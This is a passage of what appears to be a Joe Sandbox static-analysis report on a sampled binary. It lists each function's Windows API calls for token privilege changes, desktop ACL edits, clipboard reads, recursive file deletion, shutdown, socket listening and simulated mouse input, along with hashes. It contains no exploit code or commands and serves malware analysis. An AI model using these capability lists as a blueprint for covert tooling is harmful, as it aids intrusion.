LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00AC1286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00AC12A8
CloseHandle.KERNEL32(?), ref: 00AC12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00AC12D1
GetProcessWindowStation.USER32 ref: 00AC12EA
SetProcessWindowStation.USER32(00000000), ref: 00AC12F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00AC1310

Part of subcall function 00AC10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00AC11FC), ref: 00AC10D4
Part of subcall function 00AC10BF: CloseHandle.KERNEL32(?,?,00AC11FC), ref: 00AC10E9

Strings

, xrefs: 00AC125A
winsta0, xrefs: 00AC12CC
default, xrefs: 00AC130B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 8ad3148a992e382ca1d9830e6c4c9b22350cb7a7c5ddf02e951ac3644e82b250
Instruction ID: cf6c655ef8cedf563fb7f21662b8fd1720df070c324ab6745dc1971948f457bd
Opcode Fuzzy Hash: 8ad3148a992e382ca1d9830e6c4c9b22350cb7a7c5ddf02e951ac3644e82b250
Instruction Fuzzy Hash: 32819AB1A00209AFDF25DFE4DE49FEE7BB9EF05704F154169F911A61A2DB308945CB20

Function 00AC0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00AC1114
Part of subcall function 00AC10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC1120
Part of subcall function 00AC10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC112F
Part of subcall function 00AC10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC1136
Part of subcall function 00AC10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00AC114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00AC0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00AC0C00
GetLengthSid.ADVAPI32(?), ref: 00AC0C17
GetAce.ADVAPI32(?,00000000,?), ref: 00AC0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00AC0C6D
GetLengthSid.ADVAPI32(?), ref: 00AC0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00AC0C8C
HeapAlloc.KERNEL32(00000000), ref: 00AC0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00AC0CB4
CopySid.ADVAPI32(00000000), ref: 00AC0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00AC0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00AC0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00AC0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC0D45
HeapFree.KERNEL32(00000000), ref: 00AC0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC0D55
HeapFree.KERNEL32(00000000), ref: 00AC0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC0D65
HeapFree.KERNEL32(00000000), ref: 00AC0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00AC0D78
HeapFree.KERNEL32(00000000), ref: 00AC0D7F

Part of subcall function 00AC1193: GetProcessHeap.KERNEL32(00000008,00AC0BB1,?,00000000,?,00AC0BB1,?), ref: 00AC11A1
Part of subcall function 00AC1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00AC0BB1,?), ref: 00AC11A8
Part of subcall function 00AC1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00AC0BB1,?), ref: 00AC11B7

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 9032fd0cf0d9aa44e8ed9fdb3eaa323431c2ce139ecae0817636bcd045db0644
Instruction ID: 28b3b71c53d5f33929660862861e235127fa86979e089d9d72424363faaac5d2
Opcode Fuzzy Hash: 9032fd0cf0d9aa44e8ed9fdb3eaa323431c2ce139ecae0817636bcd045db0644
Instruction Fuzzy Hash: E871AAB290021AEBDF11DFE5DD44FAEBBB8BF04710F054219E905E7191DB70AA06CBA0

Function 00ADEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00AFCC08), ref: 00ADEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00ADEB37
GetClipboardData.USER32(0000000D), ref: 00ADEB43
CloseClipboard.USER32 ref: 00ADEB4F
GlobalLock.KERNEL32(00000000), ref: 00ADEB87
CloseClipboard.USER32 ref: 00ADEB91
GlobalUnlock.KERNEL32(00000000), ref: 00ADEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00ADEBC9
GetClipboardData.USER32(00000001), ref: 00ADEBD1
GlobalLock.KERNEL32(00000000), ref: 00ADEBE2
GlobalUnlock.KERNEL32(00000000), ref: 00ADEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00ADEC38
GetClipboardData.USER32(0000000F), ref: 00ADEC44
GlobalLock.KERNEL32(00000000), ref: 00ADEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00ADEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00ADEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00ADECD2
GlobalUnlock.KERNEL32(00000000), ref: 00ADECF3
CountClipboardFormats.USER32 ref: 00ADED14
CloseClipboard.USER32 ref: 00ADED59

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: f85d906ad3511797b99ca7d531ed1e9ef3cc633e97d1b5ef975a5d368968d235
Instruction ID: d1b3afc1c00e1c3b53114eb1640f24f18ea611f2f6f303e4f5b445de6393d3cd
Opcode Fuzzy Hash: f85d906ad3511797b99ca7d531ed1e9ef3cc633e97d1b5ef975a5d368968d235
Instruction Fuzzy Hash: 1061AF352042059FD300EFA5DA88F7AB7B8AF84714F14451AF4969B3A1CB31ED46CB62

Function 00AD698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00AD69BE
FindClose.KERNEL32(00000000), ref: 00AD6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00AD6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00AD6A75

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00AD6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00AD6ADF

Strings

%03d, xrefs: 00AD6DA2
%4d%02d%02d%02d%02d%02d, xrefs: 00AD6B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00AD6B32
%02d, xrefs: 00AD6C00, 00AD6C0A, 00AD6C5A, 00AD6CAA, 00AD6CFA, 00AD6D4A
%4d, xrefs: 00AD6BB1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: c7d1070527a4ef7696221d8a09519c42d3ac02774ea99716abe71133a1a6455c
Instruction ID: 852c73745969711b13c6fd7858c4df1a053641248b2120088e565d996e7898ff
Opcode Fuzzy Hash: c7d1070527a4ef7696221d8a09519c42d3ac02774ea99716abe71133a1a6455c
Instruction Fuzzy Hash: A4D130B1508340AFC710EBA4CA81EABB7FCAF98704F44491EF589D7291EB74DA44C762

Function 00AD9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00AD9663
GetFileAttributesW.KERNEL32(?), ref: 00AD96A1
SetFileAttributesW.KERNEL32(?,?), ref: 00AD96BB
FindNextFileW.KERNEL32(00000000,?), ref: 00AD96D3
FindClose.KERNEL32(00000000), ref: 00AD96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00AD96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD974A
SetCurrentDirectoryW.KERNEL32(00B26B7C), ref: 00AD9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00AD9772
FindClose.KERNEL32(00000000), ref: 00AD977F
FindClose.KERNEL32(00000000), ref: 00AD978F

Strings

*.*, xrefs: 00AD96F5

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: ddf421a541e58389caad3e20d764f0abd22076406b5e41d3b9e1adcffa0070a7
Instruction ID: c8bfc92d979844f79508f9a3a5b90e663a78ccedda32ab034dd2b8406ecabed6
Opcode Fuzzy Hash: ddf421a541e58389caad3e20d764f0abd22076406b5e41d3b9e1adcffa0070a7
Instruction Fuzzy Hash: 0831BF3294061D6ADB14EFF5ED09AEF77ACAF09320F104196F816E22A0EB34D945CB10

Function 00AD979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00AD97BE
FindNextFileW.KERNEL32(00000000,?), ref: 00AD9819
FindClose.KERNEL32(00000000), ref: 00AD9824
FindFirstFileW.KERNEL32(*.*,?), ref: 00AD9840
SetCurrentDirectoryW.KERNEL32(?), ref: 00AD9890
SetCurrentDirectoryW.KERNEL32(00B26B7C), ref: 00AD98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00AD98B8
FindClose.KERNEL32(00000000), ref: 00AD98C5
FindClose.KERNEL32(00000000), ref: 00AD98D5

Part of subcall function 00ACDAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00ACDB00

Strings

*.*, xrefs: 00AD983B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 680b1db8104e7f5b9cc7a64fc17cf6731c456e0ff977463146d31cfc22cb6087
Instruction ID: 70f210777eca835a54de75cc46c57807489dff749ffe28bbf57764d2269debea
Opcode Fuzzy Hash: 680b1db8104e7f5b9cc7a64fc17cf6731c456e0ff977463146d31cfc22cb6087
Instruction Fuzzy Hash: AC31E33254061D7EDF14EFF5EC49AEF77ACAF06720F104156E815A22A0EB30D945DB60

Function 00ACD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A63A97,?,?,00A62E7F,?,?,?,00000000), ref: 00A63AC2

Part of subcall function 00ACE199: GetFileAttributesW.KERNEL32(?,00ACCF95), ref: 00ACE19A

FindFirstFileW.KERNEL32(?,?), ref: 00ACD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00ACD1DD
MoveFileW.KERNEL32(?,?), ref: 00ACD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00ACD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00ACD237

Part of subcall function 00ACD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00ACD21C,?,?), ref: 00ACD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00ACD253
FindClose.KERNEL32(00000000), ref: 00ACD264

Strings

\*.*, xrefs: 00ACD0CD, 00ACD0D6, 00ACD0EB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: b9bcec3f70346d550fdb74421d187d75b8a49600e7438dbcab01e8cb191c719f
Instruction ID: c7699ce28102c486b76af9420c758a79f905270cdca2912717a49f2e4e69d1cc
Opcode Fuzzy Hash: b9bcec3f70346d550fdb74421d187d75b8a49600e7438dbcab01e8cb191c719f
Instruction Fuzzy Hash: E0612D3180110DAACF15EBE0DB52EEEB7B9AF65300F254169E40677191EB319F0ADB61

Function 00ADED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00ADED91
EmptyClipboard.USER32 ref: 00ADED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00ADEDAC
CloseClipboard.USER32 ref: 00ADEEA3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 950bfa97991d6b36ae08adc017ff24a446b3d7b49aeddf042fdd604fdd5b688c
Instruction ID: 88e32cdf24ae0db6bfbab867138414ace20ccf6a18726a9e356a3bdb90626fea
Opcode Fuzzy Hash: 950bfa97991d6b36ae08adc017ff24a446b3d7b49aeddf042fdd604fdd5b688c
Instruction Fuzzy Hash: 0A41BF35204611AFD320EF95D988B29BBE5FF44328F14C09AE4568F762CB75ED42CB90

Function 00ACE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00AC170D
Part of subcall function 00AC16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00AC173A
Part of subcall function 00AC16C3: GetLastError.KERNEL32 ref: 00AC174A

ExitWindowsEx.USER32(?,00000000), ref: 00ACE932

Strings

, xrefs: 00ACE95C
SeShutdownPrivilege, xrefs: 00ACE902
@, xrefs: 00ACE925
, xrefs: 00ACE920

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 78006378b297b7e91e8e4e79cf7d1b4315b21f78948cbbe1e3bb665598c7c56f
Instruction ID: df54962dcbd53f389e3b0c94e64575f3c123734ab3840ad18f6e0572bb701216
Opcode Fuzzy Hash: 78006378b297b7e91e8e4e79cf7d1b4315b21f78948cbbe1e3bb665598c7c56f
Instruction Fuzzy Hash: 64012632610214ABEB54A3F99D86FBFF26CA704750F160529F812E21D2D9B05C408290

Function 00AE1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00AE1276
WSAGetLastError.WSOCK32 ref: 00AE1283
bind.WSOCK32(00000000,?,00000010), ref: 00AE12BA
WSAGetLastError.WSOCK32 ref: 00AE12C5
closesocket.WSOCK32(00000000), ref: 00AE12F4
listen.WSOCK32(00000000,00000005), ref: 00AE1303
WSAGetLastError.WSOCK32 ref: 00AE130D
closesocket.WSOCK32(00000000), ref: 00AE133C

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: cd44bf4bed2eb14c2998f290282364f50721a2453ce4162ea4486b990f7ec98b
Instruction ID: 42e4427d4d15c7b7087c15ec110e8fcae420c3705320b6ae34efc3b04eca5c9e
Opcode Fuzzy Hash: cd44bf4bed2eb14c2998f290282364f50721a2453ce4162ea4486b990f7ec98b
Instruction Fuzzy Hash: A041B3316002519FD710DFA5C988B69BBF5BF46328F188198E9569F2D2C771EC82CBE1

Function 00A9B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A9B9D4
_free.LIBCMT ref: 00A9B9F8
_free.LIBCMT ref: 00A9BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00B03700), ref: 00A9BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00B3121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00A9BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00B31270,000000FF,?,0000003F,00000000,?), ref: 00A9BC36
_free.LIBCMT ref: 00A9BD4B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 10dd498d53a75709ef08965262f3ed06c0de55c2e4a2ca689a3fd02c6f837b29
Instruction ID: 35a5e39a5d507a5a7b6b5e8d375eba123df5530f0c7e24c6438a7b5d5c44261b
Opcode Fuzzy Hash: 10dd498d53a75709ef08965262f3ed06c0de55c2e4a2ca689a3fd02c6f837b29
Instruction Fuzzy Hash: 9CC12671B14208AFDF20DF69AE41BAE7BF9EF45350F24459AE494DB291EB308E41C760

Function 00ACD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00A63A97,?,?,00A62E7F,?,?,?,00000000), ref: 00A63AC2

Part of subcall function 00ACE199: GetFileAttributesW.KERNEL32(?,00ACCF95), ref: 00ACE19A

FindFirstFileW.KERNEL32(?,?), ref: 00ACD420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00ACD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00ACD481
FindClose.KERNEL32(00000000), ref: 00ACD498
FindClose.KERNEL32(00000000), ref: 00ACD4A1

Strings

\*.*, xrefs: 00ACD3F2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: b01e98c027ff1c1c3fac1c84b0207a0e944a6468f123a5b80c9a54cc8e4bb437
Instruction ID: 618cf8c2a097cbb4b1a4cc42fb3cdfb8d8429efb46388a90ae0273615207e7af
Opcode Fuzzy Hash: b01e98c027ff1c1c3fac1c84b0207a0e944a6468f123a5b80c9a54cc8e4bb437
Instruction Fuzzy Hash: 303160720083459BC304EFA4DA919AFB7F8AEA1314F444A2DF5D593191EB30AA09DB63

Function 00AD648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00AD64DC
CoInitialize.OLE32(00000000), ref: 00AD6639
CoCreateInstance.OLE32(00AFFCF8,00000000,00000001,00AFFB68,?), ref: 00AD6650
CoUninitialize.OLE32 ref: 00AD68D4

Strings

.lnk, xrefs: 00AD64BA, 00AD6524, 00AD65E0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 8729577ee629d2a3f37d83454832b196f1298f8e3a3b1bdf2bb61aa7591de2c3
Instruction ID: ff80b8dd43e1095395df7d3cab6e09341d9f3a53a05e458c3e2751673466adb9
Opcode Fuzzy Hash: 8729577ee629d2a3f37d83454832b196f1298f8e3a3b1bdf2bb61aa7591de2c3
Instruction Fuzzy Hash: F4D13971508301AFC304EF64C981A6BB7F8FF98704F10496DF5968B2A1EB71E945CBA2

Function 00AE22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00AE22E8

Part of subcall function 00ADE4EC: GetWindowRect.USER32(?,?), ref: 00ADE504

GetDesktopWindow.USER32 ref: 00AE2312
GetWindowRect.USER32(00000000), ref: 00AE2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00AE2355
GetCursorPos.USER32(?), ref: 00AE2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00AE23DF

Memory Dump Source

